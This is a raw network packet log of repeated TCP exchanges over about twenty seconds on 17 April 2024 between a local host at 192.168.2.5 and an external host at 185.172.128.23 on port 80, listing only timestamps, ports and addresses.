Apr 17, 2024 09:17:14.719177961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719194889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719196081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719211102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719218969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719244003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719261885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719616890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719645977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719662905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719665051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719679117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.719700098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.719724894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.769961119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.769979954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.769999027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770013094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770025015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770025969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770046949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770052910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770078897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770085096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770087957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770104885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770121098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770123005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770140886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770149946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770579100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770597935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770616055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770625114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770632029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770634890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770654917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770662069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770879984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770921946 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770932913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770951033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770965099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.770973921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.770981073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771013975 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771225929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771261930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771271944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771280050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771296978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771302938 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771321058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771341085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771704912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771732092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771748066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771749020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771764040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.771781921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771797895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.771810055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772134066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772151947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772171974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772178888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772188902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772201061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772212982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772231102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772268057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772294044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772310972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772326946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772336960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772362947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772371054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772685051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772703886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772722006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772732019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772737980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772747040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772766113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772774935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.772926092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772954941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772973061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.772989988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.773003101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.773025990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.773179054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.773206949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.773224115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:14.773238897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.773252010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:14.773272991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:15.203078985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:15.203115940 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:15.407891035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:15.407911062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:15.704823971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:15.705039978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:15.739248991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:15.944291115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.053395033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.053452969 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.053488016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.053553104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.055886984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.261775017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.382796049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.382860899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.382944107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.383105040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.415350914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.415389061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.621624947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.621674061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.856436014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:16.857155085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.865192890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:16.865212917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:17.070205927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.070269108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.356859922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.357235909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:17.366998911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:17.367021084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:17.571939945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.571980953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.571997881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.856966019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:17.857031107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:17.863579988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:17.863609076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.068371058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.068418026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.300229073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.300319910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.309284925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.309320927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.514043093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.514120102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.744178057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.744240999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.749479055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.749495983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:18.954157114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:18.954197884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:19.135333061 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:19.135427952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:19.142318010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:19.142354965 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:19.347095013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:19.347138882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:19.558502913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:19.558741093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:19.564625025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:19.564654112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:19.769257069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:19.769284964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.003304005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.003427982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.010456085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.010492086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.215171099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.215189934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.489036083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.489243031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.495243073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.495289087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.701318026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.701339006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.972371101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:20.972436905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.977531910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:20.977561951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:21.182706118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:21.182743073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:21.505877018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:21.506094933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:21.511789083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:21.511823893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:21.716640949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:21.716689110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:21.907087088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:21.907411098 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:21.914005995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:21.914035082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:22.119326115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.119386911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.357973099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.358062983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:22.366473913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:22.366494894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:22.571276903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.571324110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.571360111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.829291105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:22.829524040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:22.835057974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:22.835087061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.040220022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.040250063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.292802095 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.292907953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.300524950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.300568104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.507667065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.507689953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.704030037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.704092979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.765687943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.765716076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:23.970794916 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:23.970902920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:24.176448107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:24.176817894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:24.185103893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:24.185151100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:24.391102076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:24.391144037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:24.611991882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:24.612171888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:24.618551016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:24.618585110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:24.823273897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:24.823299885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:25.004494905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:25.004579067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:25.237602949 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:25.237631083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:25.442468882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:25.442492962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:25.655174971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:25.655363083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:26.817148924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:26.817186117 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.022105932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.022145033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.256254911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.256453037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.262495995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.262536049 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.467083931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.467101097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.724050999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.724267006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.731885910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.731916904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:27.937468052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:27.937546968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:28.177454948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:28.177639961 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:28.182656050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:28.182688951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:28.387485981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:28.387507915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:28.621526957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:28.621588945 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:28.629435062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:28.629461050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:28.834213018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:28.834305048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:29.070580959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:29.070674896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:29.076730967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:29.076767921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:29.281312943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:29.281392097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:29.571342945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:29.571443081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:29.576201916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:29.576240063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:29.780952930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:29.780971050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.005481958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.005585909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.011193037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.011228085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.215806961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.215828896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.488044977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.488177061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.493947983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.493989944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.698717117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.698738098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.698745012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.932073116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:30.932173014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.939646006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:30.939681053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:31.149034977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.149148941 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.149183989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.441571951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.441675901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:31.448055029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:31.448096991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:31.652823925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.652863979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.834307909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:31.834428072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:31.847537041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:31.847573996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.052304983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.052330971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.276073933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.276211977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.282908916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.282973051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.487647057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.487668991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.760850906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.760915995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.777115107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.777143002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:32.981798887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:32.981827974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:33.237157106 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:33.237349033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:33.243700027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:33.243735075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:33.448353052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:33.448375940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:33.704514980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:33.704621077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:33.711738110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:33.711776018 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:33.916357040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:33.916373968 CEST	80	49704	185.172.128.23	192.168.2.5
